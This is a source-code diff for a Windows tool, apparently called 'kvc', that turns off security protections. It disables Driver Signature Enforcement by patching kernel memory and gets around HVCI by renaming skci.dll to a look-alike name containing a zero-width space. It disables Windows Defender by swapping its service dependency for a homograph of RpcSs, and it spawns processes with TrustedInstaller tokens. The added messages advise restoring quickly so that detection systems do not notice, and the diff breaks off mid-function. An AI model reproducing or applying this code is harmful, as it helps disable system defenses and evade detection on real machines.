diff --git a/kvc/ControllerCore.cpp b/kvc/ControllerCore.cpp index b690750..02e8485 100644 --- a/kvc/ControllerCore.cpp +++ b/kvc/ControllerCore.cpp @@ -18,16 +18,22 @@ Controller::~Controller() { // Atomic operation cleanup - critical for BSOD prevention bool Controller::PerformAtomicCleanup() noexcept { - INFO(L"Starting atomic cleanup procedure..."); + DEBUG(L"Starting atomic cleanup procedure..."); // 1. First, close the connection to the driver - if (m_rtc) { - DEBUG(L"Cleaning up driver connection..."); - m_rtc->Cleanup(); // This ensures the handle is properly closed + if (m_rtc && m_rtc->IsConnected()) { + DEBUG(L"Force-closing driver connection..."); + m_rtc->Cleanup(); } // 2. Wait for resources to be released - Sleep(100); + // Only for USB Debug Sleep(200); + + // CHECK IF THE SERVICE IS A ZOMBIE + if (IsServiceZombie()) { + DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD"); + return true; + } // 3. Stop the service (if it exists) DEBUG(L"Stopping driver service..."); @@ -63,12 +69,12 @@ bool Controller::PerformAtomicCleanup() noexcept { } CloseServiceHandle(hSCM); } - Sleep(100); + // Only for USB Debug Sleep(100); } } // 5. Wait again for safety - Sleep(100); + // Only for USB Debug Sleep(100); // 6. Only uninstall if the service is confirmed to be stopped if (serviceVerified) { @@ -79,10 +85,10 @@ bool Controller::PerformAtomicCleanup() noexcept { } // 7. Reinitialize for subsequent operations - Sleep(100); + // Only for USB Debug Sleep(100); m_rtc = std::make_unique(); - SUCCESS(L"Atomic cleanup completed successfully"); + DEBUG(L"Atomic cleanup completed successfully"); return true; } @@ -104,9 +110,13 @@ bool Controller::PerformAtomicInitWithErrorCleanup() noexcept { // Core driver availability check with fallback mechanisms bool Controller::EnsureDriverAvailable() noexcept { - // Phase 1: Check if the driver is already available (without testing) + if (IsServiceZombie()) { + DEBUG(L"Service zombie detected - cannot reload driver safely"); + return false; // AVOID BSOD - do not reload the driver + } + // Phase 1: Check if the driver is already available (without testing) ForceRemoveService(); - Sleep(100); + // Only for USB Debug Sleep(100); if (IsDriverCurrentlyLoaded()) { return true; } @@ -129,7 +139,7 @@ bool Controller::EnsureDriverAvailable() noexcept { CloseServiceHandle(hSCM); // Give it time to start - Sleep(100); + // Only for USB Debug Sleep(100); // Check if it's running now (without a test read) if (m_rtc->Initialize() && m_rtc->IsConnected()) { @@ -138,7 +148,7 @@ bool Controller::EnsureDriverAvailable() noexcept { } // Phase 3: Install a new driver (ONLY if necessary) - INFO(L"Initializing kernel driver component..."); + DEBUG(L"Initializing kernel driver component..."); if (!InstallDriverSilently()) { ERROR(L"Failed to install kernel driver component"); diff --git a/kvc/ControllerDSE.cpp b/kvc/ControllerDSE.cpp index b7e3f2c..cbbaf3a 100644 --- a/kvc/ControllerDSE.cpp +++ b/kvc/ControllerDSE.cpp @@ -2,6 +2,73 @@ #include "common.h" bool Controller::DisableDSE() noexcept { + // Check if HVCI bypass already prepared (pending reboot) + HKEY hKey = nullptr; + bool bypassPending = false; + + if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, + KEY_READ, &hKey) == ERROR_SUCCESS) { + wchar_t state[256] = {0}; + DWORD size = sizeof(state); + + if (RegQueryValueExW(hKey, L"State", NULL, NULL, + reinterpret_cast(state), &size) == ERROR_SUCCESS) { + if (wcscmp(state, L"AwaitingRestore") == 0) { + bypassPending = true; + + // Verify the renamed file actually exists + wchar_t sysDir[MAX_PATH]; + if (GetSystemDirectoryW(sysDir, MAX_PATH) > 0) { + std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll"; + if (GetFileAttributesW(checkPath.c_str()) == INVALID_FILE_ATTRIBUTES) { + // File doesn't exist - state is stale/invalid + bypassPending = false; + DEBUG(L"Stale bypass state detected - skci.dlI not found"); + } + } + } + } + + RegCloseKey(hKey); + hKey = nullptr; + } + + // If bypass already prepared, prompt for reboot without touching driver + if (bypassPending) { + std::wcout << L"\n"; + INFO(L"HVCI bypass already prepared from previous session"); + INFO(L"System reboot is required to complete the bypass"); + INFO(L"After reboot, use 'KVC DSE OFF' to disable driver signing"); + std::wcout << L"\n"; + std::wcout << L"Reboot now? [Y/N]: "; + wchar_t choice; + std::wcin >> choice; + + if (choice == L'Y' || choice == L'y') { + INFO(L"Initiating system reboot..."); + + // Enable shutdown privilege + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0); + CloseHandle(hToken); + } + + // Initiate reboot + if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) { + ERROR(L"Failed to initiate reboot: %d", GetLastError()); + } + } + + return true; + } + + // Normal flow - proceed with driver operations PerformAtomicCleanup(); if (!BeginDriverSession()) { @@ -49,15 +116,13 @@ bool Controller::DisableDSE() noexcept { if (hvciEnabled) { std::wcout << L"\n"; - INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue); - INFO(L"Direct kernel memory patching blocked by hypervisor"); - INFO(L"Initiating non-invasive HVCI bypass strategy..."); + INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue); + INFO(L"Preparing secure kernel deactivation (fully reversible)..."); std::wcout << L"\n"; SUCCESS(L"Secure Kernel module prepared for temporary deactivation"); - SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)"); + SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)"); INFO(L"No files will be permanently modified or deleted"); - INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, changes reverted"); std::wcout << L"\n"; DEBUG(L"Closing driver handle before file operations..."); @@ -66,10 +131,10 @@ bool Controller::DisableDSE() noexcept { DEBUG(L"Unloading and removing driver service..."); EndDriverSession(true); - DEBUG(L"Driver fully unloaded, proceeding with skci.dll rename..."); + DEBUG(L"Driver fully unloaded, proceeding with bypass preparation..."); if (!m_dseBypass->RenameSkciLibrary()) { - ERROR(L"Failed to rename skci.dll"); + ERROR(L"Failed to prepare hypervisor bypass"); return false; } @@ -82,12 +147,10 @@ bool Controller::DisableDSE() noexcept { ERROR(L"Failed to create RunOnce entry"); return false; } - - SUCCESS(L"HVCI bypass prepared successfully"); - INFO(L"System will disable hypervisor on next boot"); - INFO(L"Reboot required to complete DSE bypass"); - INFO(L"After reboot, DSE will be automatically disabled"); - + SUCCESS(L"HVCI bypass prepared - reboot required"); + INFO(L"Post-reboot: 'kvc dse' -> if 0x00000000 -> load driver -> 'kvc dse on'"); + INFO(L"Detection systems may scan for prolonged 0x00000000 state - restore quickly"); + INFO(L"Future Windows updates may enhance monitoring - disable Driver Signature Enforcement only when needed"); std::wcout << L"\n"; std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: "; wchar_t choice; @@ -95,7 +158,23 @@ bool Controller::DisableDSE() noexcept { if (choice == L'Y' || choice == L'y') { INFO(L"Initiating system reboot..."); - system("shutdown /r /t 0"); + + // Enable shutdown privilege + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0); + CloseHandle(hToken); + } + + // Initiate reboot + if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) { + ERROR(L"Failed to initiate reboot: %d", GetLastError()); + } } return true; @@ -132,7 +211,88 @@ bool Controller::RestoreDSE() noexcept { } bool Controller::DisableDSEAfterReboot() noexcept { - PerformAtomicCleanup(); + + // Check if this is actually post-reboot or just pending bypass + HKEY hKey = nullptr; + bool actuallyPostReboot = false; + + if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0, + KEY_READ, &hKey) == ERROR_SUCCESS) { + wchar_t state[256] = {0}; + DWORD size = sizeof(state); + + if (RegQueryValueExW(hKey, L"State", NULL, NULL, + reinterpret_cast(state), &size) == ERROR_SUCCESS) { + if (wcscmp(state, L"AwaitingRestore") == 0) { + // Check if skci.dlI still exists (means we haven't rebooted yet) + wchar_t sysDir[MAX_PATH]; + GetSystemDirectoryW(sysDir, MAX_PATH); + std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll"; + + if (GetFileAttributesW(checkPath.c_str()) != INVALID_FILE_ATTRIBUTES) { + actuallyPostReboot = true; // File exists = real post-reboot + } + } + } + RegCloseKey(hKey); + } + + // If skci.dlI doesn't exist, user hasn't rebooted yet + if (!actuallyPostReboot) { + std::wcout << L"\n"; + INFO(L"HVCI bypass prepared but system has not been rebooted yet"); + INFO(L"Please reboot to complete the bypass process"); + std::wcout << L"\n"; + std::wcout << L"Reboot now? [Y/N]: "; + wchar_t choice; + std::wcin >> choice; + + if (choice == L'Y' || choice == L'y') { + INFO(L"Initiating system reboot..."); + + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); + tkp.PrivilegeCount = 1; + tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0); + CloseHandle(hToken); + } + + if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) { + ERROR(L"Failed to initiate reboot: %d", GetLastError()); + } + } + + return true; // Exit WITHOUT touching driver + } + + + + + + + + + + + + + + + + + + + + + + + + + PerformAtomicCleanup(); if (!BeginDriverSession()) { ERROR(L"Failed to start driver session for post-reboot DSE bypass"); diff --git a/kvc/DSEBypass.cpp b/kvc/DSEBypass.cpp index b8d93db..8afff05 100644 --- a/kvc/DSEBypass.cpp +++ b/kvc/DSEBypass.cpp @@ -93,7 +93,7 @@ bool DSEBypass::DisableDSE() noexcept { return false; } - SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + SUCCESS(L"Driver signature enforcement is off", currentValue, newValue); INFO(L"No restart required - unsigned drivers can now be loaded"); return true; } @@ -151,8 +151,8 @@ bool DSEBypass::RestoreDSE() noexcept { return false; } - SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); - INFO(L"No restart required - kernel protection reactivated"); + SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)", currentValue, newValue); + INFO(L"Kernel protection reactivated - no restart required"); return true; } @@ -350,8 +350,8 @@ bool DSEBypass::RenameSkciLibrary() noexcept { return false; } - std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll"; - std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I + std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll"; + std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll"; DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str()); @@ -360,12 +360,12 @@ bool DSEBypass::RenameSkciLibrary() noexcept { return false; } - SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot"); + SUCCESS(L"Windows hypervisor services temporarily suspended"); return true; } bool DSEBypass::RestoreSkciLibrary() noexcept { - DEBUG(L"Restoring skci.dll from skci.dlI"); + DEBUG(L"Restoring skci.dll"); wchar_t sysDir[MAX_PATH]; if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) { @@ -373,7 +373,7 @@ bool DSEBypass::RestoreSkciLibrary() noexcept { return false; } - std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI"; + std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll"; std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll"; // Admin rights sufficient for restore (no hypervisor running) @@ -554,8 +554,8 @@ bool DSEBypass::DisableDSEAfterReboot() noexcept { // Step 3: Cleanup ClearDSEState(); - SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue); - SUCCESS(L"Hypervisor bypassed and skci.dll restored"); + SUCCESS(L"Driver signature enforcement is off (0x%08X -> 0x%08X)", currentValue, newValue); + SUCCESS(L"Hypervisor bypassed and library restored"); return true; } \ No newline at end of file diff --git a/kvc/DefenderManager.cpp b/kvc/DefenderManager.cpp index 6929ddd..c50daab 100644 --- a/kvc/DefenderManager.cpp +++ b/kvc/DefenderManager.cpp @@ -30,7 +30,7 @@ bool DefenderManager::EnableSecurityEngine() noexcept return ModifySecurityEngine(true); } -// Queries current Windows Defender state by checking RpcSs (enabled) or RpcSt (disabled) in service dependencies +// Queries current Windows Defender state by checking RpcSs (enabled) - Homograph Attack DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept { try { @@ -44,7 +44,7 @@ DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexce if (values.empty()) return SecurityState::UNKNOWN; - // Check if RpcSs (active) or RpcSt (inactive) is present + // Check if RpcSs (active) or RpcSs\x200B (inactive) is present bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end(); bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end(); @@ -155,7 +155,7 @@ bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept return true; } -// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSt +// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSs\x200B bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept { HKEY tempKey; @@ -174,10 +174,10 @@ bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, boo // Transform RPC service dependency for (auto& value : values) { if (enable && value == RPC_SERVICE_INACTIVE) { - value = RPC_SERVICE_ACTIVE; // RpcSt -> RpcSs (enable) + value = RPC_SERVICE_ACTIVE; // RpcSs\x200B -> RpcSs (enable) } else if (!enable && value == RPC_SERVICE_ACTIVE) { - value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSt (disable) + value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSs\x200B (disable) } } diff --git a/kvc/DefenderManager.h b/kvc/DefenderManager.h index d6687f2..88857f1 100644 --- a/kvc/DefenderManager.h +++ b/kvc/DefenderManager.h @@ -14,11 +14,11 @@ public: // Security engine state based on WinDefend service dependency enum class SecurityState { ENABLED, // Defender engine active (RpcSs) - DISABLED, // Defender engine inactive (RpcSt) + DISABLED, // Defender engine inactive (RpcSs\x200B) UNKNOWN // State could not be determined }; - // Disable Windows Defender by changing service dependency to RpcSt (requires admin + restart) + // Disable Windows Defender by changing service dependency to RpcSs\x200B (requires admin + restart) static bool DisableSecurityEngine() noexcept; // Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart) @@ -54,7 +54,7 @@ private: // Create temporary Services hive snapshot and load it under HKLM\Temp static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept; - // Switch WinDefend DependOnService between RpcSt and RpcSs inside temp hive + // Switch WinDefend DependOnService between RpcSs\x200B and RpcSs inside temp hive static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept; // Unload temp hive and restore modified snapshot to live Services key (critical operation) @@ -71,5 +71,5 @@ private: static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services"; static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService"; static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs"; - static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt"; + static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSs\x200B"; }; diff --git a/kvc/ICON/kvc.ico b/kvc/ICON/kvc.ico index 0146b01..e1ce86a 100644 Binary files a/kvc/ICON/kvc.ico and b/kvc/ICON/kvc.ico differ diff --git a/kvc/Kvc.cpp b/kvc/Kvc.cpp index 97041e6..159fa8d 100644 --- a/kvc/Kvc.cpp +++ b/kvc/Kvc.cpp @@ -250,7 +250,7 @@ int wmain(int argc, wchar_t* argv[]) else if (command == L"dse") { // No parameter = check status if (argc < 3) { - INFO(L"Checking Driver Signature Enforcement status..."); + DEBUG(L"Checking Driver Signature Enforcement status..."); ULONG_PTR ciOptionsAddr = 0; DWORD value = 0; @@ -267,29 +267,22 @@ int wmain(int argc, wchar_t* argv[]) INFO(L"DSE Status Information:"); INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr); INFO(L"g_CiOptions value: 0x%08X", value); - INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR"); - INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR"); std::wcout << L"\n"; - // Check for HVCI/VBS first - if (hvciEnabled) { - SUCCESS(L"Driver Signature Enforcement: ENABLED"); - std::wcout << L"\n"; - INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000)); - INFO(L"Hypervisor protection active - direct memory patching blocked"); - INFO(L"HVCI bypass available via non-invasive library method"); - INFO(L"Requires system restart to complete bypass workflow"); - INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass"); - } - else if (dseEnabled) { - SUCCESS(L"Driver Signature Enforcement: ENABLED"); - INFO(L"Kernel protection active - only signed drivers allowed"); - INFO(L"DSE bypass available without restart - use 'kvc dse off'"); - } else { - INFO(L"Driver Signature Enforcement: DISABLED"); - INFO(L"System security reduced - unsigned drivers allowed"); - INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)"); - } + // Check for HVCI/VBS first + if (hvciEnabled) { + SUCCESS(L"Driver signature enforcement: ENABLED"); + // ... HVCI info + } + else if (dseEnabled) { + SUCCESS(L"Driver signature enforcement: ENABLED"); + INFO(L"Only signed drivers allowed"); + INFO(L"Use 'kvc dse off' to disable protection"); + } else { + INFO(L"Driver signature enforcement: DISABLED"); + INFO(L"Unsigned drivers allowed"); + INFO(L"Use 'kvc dse on' to restore kernel protection"); + } std::wcout << L"\n"; return 0; @@ -298,7 +291,6 @@ int wmain(int argc, wchar_t* argv[]) std::wstring_view subCmd = argv[2]; if (subCmd == L"off") { - // Check if this is post-reboot execution HKEY hKey; bool postReboot = false; @@ -310,26 +302,11 @@ int wmain(int argc, wchar_t* argv[]) if (RegQueryValueExW(hKey, L"State", NULL, NULL, reinterpret_cast(state), &size) == ERROR_SUCCESS) { if (wcscmp(state, L"AwaitingRestore") == 0) { - // Check if skci.dlI exists - wchar_t sysDir[MAX_PATH]; - GetSystemDirectoryW(sysDir, MAX_PATH); - std::wstring checkPath = std::wstring(sysDir) + L"\\skci.dlI"; - - DWORD attrs = GetFileAttributesW(checkPath.c_str()); - if (attrs == INVALID_FILE_ATTRIBUTES) { - // skci.dlI doesn't exist - stale registry entry - RegCloseKey(hKey); - DEBUG(L"Stale registry state detected, clearing..."); - RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE"); - hKey = nullptr; - } else { - postReboot = true; - } + postReboot = true; } } - if (hKey) { - RegCloseKey(hKey); - } + + RegCloseKey(hKey); } if (postReboot) { @@ -342,7 +319,7 @@ int wmain(int argc, wchar_t* argv[]) } } else { DEBUG(L"Normal DSE disable request"); - INFO(L"Disabling Driver Signature Enforcement..."); + INFO(L"Disabling driver signature enforcement..."); if (!g_controller->DisableDSE()) { ERROR(L"Failed to disable DSE"); @@ -350,21 +327,17 @@ int wmain(int argc, wchar_t* argv[]) } } - SUCCESS(L"DSE disabled successfully!"); - INFO(L"You can now load unsigned drivers"); - INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress()); + //wesmar-debug: INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress()); return 0; } else if (subCmd == L"on") { - INFO(L"Restoring Driver Signature Enforcement..."); + INFO(L"Restoring driver signature enforcement..."); if (!g_controller->RestoreDSE()) { ERROR(L"Failed to restore DSE"); return 2; } - - SUCCESS(L"DSE restored successfully!"); - return 0; + return 0; } else { ERROR(L"Unknown DSE command: %s", subCmd.data()); @@ -410,7 +383,7 @@ int wmain(int argc, wchar_t* argv[]) ERROR(L"Failed to stop service"); } - Sleep(500); + // Only for service debug Sleep(500); INFO(L"Starting service..."); bool started = ServiceManager::StartServiceProcess(); diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index 92ad060..13a3b0c 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -8,6 +8,8 @@ #include #include #include +#include +#include namespace fs = std::filesystem; @@ -61,14 +63,14 @@ TrustedInstallerIntegrator::~TrustedInstallerIntegrator() // CORE TOKEN MANAGEMENT // ============================================================================ -BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(LPCWSTR privilegeName) +BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(std::wstring_view privilegeName) { HANDLE hToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; LUID luid; - if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) { + if (!LookupPrivilegeValueW(NULL, privilegeName.data(), &luid)) { CloseHandle(hToken); return FALSE; } @@ -128,7 +130,7 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() SERVICE_STATUS_PROCESS statusBuffer; DWORD bytesNeeded; - const DWORD timeout = 30000; + const DWORD timeout = 3000; DWORD startTime = GetTickCount(); while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) @@ -231,7 +233,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() g_cachedTrustedInstallerToken = hDuplicatedToken; g_lastTokenAccessTime = currentTime; - SUCCESS(L"TrustedInstaller token cached successfully"); + DEBUG(L"TrustedInstaller token cached successfully"); return g_cachedTrustedInstallerToken; } @@ -239,42 +241,40 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() // PROCESS EXECUTION // ============================================================================ -BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine) { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) return FALSE; - wchar_t* mutableCmd = _wcsdup(commandLine); - if (!mutableCmd) return FALSE; + // Convert string_view to mutable string for CreateProcessWithTokenW + std::wstring mutableCmd{commandLine}; STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi; - BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi); + BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), 0, NULL, NULL, &si, &pi); if (result) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } - free(mutableCmd); return result; } -BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine) { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) return FALSE; - wchar_t* mutableCmd = _wcsdup(commandLine); - if (!mutableCmd) return FALSE; + std::wstring mutableCmd{commandLine}; STARTUPINFOW si = { sizeof(si) }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; PROCESS_INFORMATION pi; - BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), CREATE_NO_WINDOW, NULL, NULL, &si, &pi); if (result) { DWORD waitResult = WaitForSingleObject(pi.hProcess, 3000); @@ -291,7 +291,6 @@ BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid CloseHandle(pi.hThread); } - free(mutableCmd); return result; } @@ -299,8 +298,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma { std::wstring finalCommandLine = commandLine; - if (IsLnkFile(commandLine.c_str())) { - finalCommandLine = ResolveLnk(commandLine.c_str()); + if (IsLnkFile(commandLine)) { + finalCommandLine = ResolveLnk(commandLine); if (finalCommandLine.empty()) { return false; } @@ -316,7 +315,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma return false; } - BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); + BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine); RevertToSelf(); return result != FALSE; @@ -326,8 +325,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& { std::wstring finalCommandLine = commandLine; - if (IsLnkFile(commandLine.c_str())) { - finalCommandLine = ResolveLnk(commandLine.c_str()); + if (IsLnkFile(commandLine)) { + finalCommandLine = ResolveLnk(commandLine); if (finalCommandLine.empty()) { return false; } @@ -343,7 +342,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& return false; } - BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); + BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine); RevertToSelf(); return result != FALSE; @@ -353,8 +352,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& // FILE OPERATIONS (NEW) // ============================================================================ -bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& filePath, - const std::vector& data) noexcept +bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view filePath, + std::span data) noexcept { if (data.empty()) { ERROR(L"Cannot write empty data"); @@ -372,8 +371,9 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& return false; } + std::wstring filePathStr{filePath}; HANDLE hFile = CreateFileW( - filePath.c_str(), + filePathStr.c_str(), GENERIC_WRITE, 0, NULL, @@ -384,7 +384,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& if (hFile == INVALID_HANDLE_VALUE) { DWORD error = GetLastError(); - ERROR(L"Failed to create file: %s (error: %d)", filePath.c_str(), error); + ERROR(L"Failed to create file: %s (error: %d)", filePathStr.c_str(), error); RevertToSelf(); return false; } @@ -396,7 +396,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& DWORD bytesToWrite = (std::min)(chunkSize, static_cast(data.size() - totalWritten)); DWORD bytesWritten = 0; - if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) { + if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, NULL)) { ERROR(L"WriteFile failed at offset %d", totalWritten); CloseHandle(hFile); RevertToSelf(); @@ -416,11 +416,11 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& CloseHandle(hFile); RevertToSelf(); - DEBUG(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size()); + DEBUG(L"File written successfully: %s (%zu bytes)", filePathStr.c_str(), data.size()); return true; } -bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept +bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if (!hToken) { @@ -433,26 +433,27 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring return false; } - DWORD attrs = GetFileAttributesW(filePath.c_str()); + std::wstring filePathStr{filePath}; + DWORD attrs = GetFileAttributesW(filePathStr.c_str()); if (attrs != INVALID_FILE_ATTRIBUTES) { - SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL); + SetFileAttributesW(filePathStr.c_str(), FILE_ATTRIBUTE_NORMAL); } - BOOL result = DeleteFileW(filePath.c_str()); + BOOL result = DeleteFileW(filePathStr.c_str()); DWORD error = result ? 0 : GetLastError(); RevertToSelf(); if (result) { - DEBUG(L"File deleted: %s", filePath.c_str()); + DEBUG(L"File deleted: %s", filePathStr.c_str()); } else { - ERROR(L"Failed to delete file: %s (error: %d)", filePath.c_str(), error); + ERROR(L"Failed to delete file: %s (error: %d)", filePathStr.c_str(), error); } return result != FALSE; } -bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept +bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept { HANDLE hToken = GetCachedTrustedInstallerToken(); if 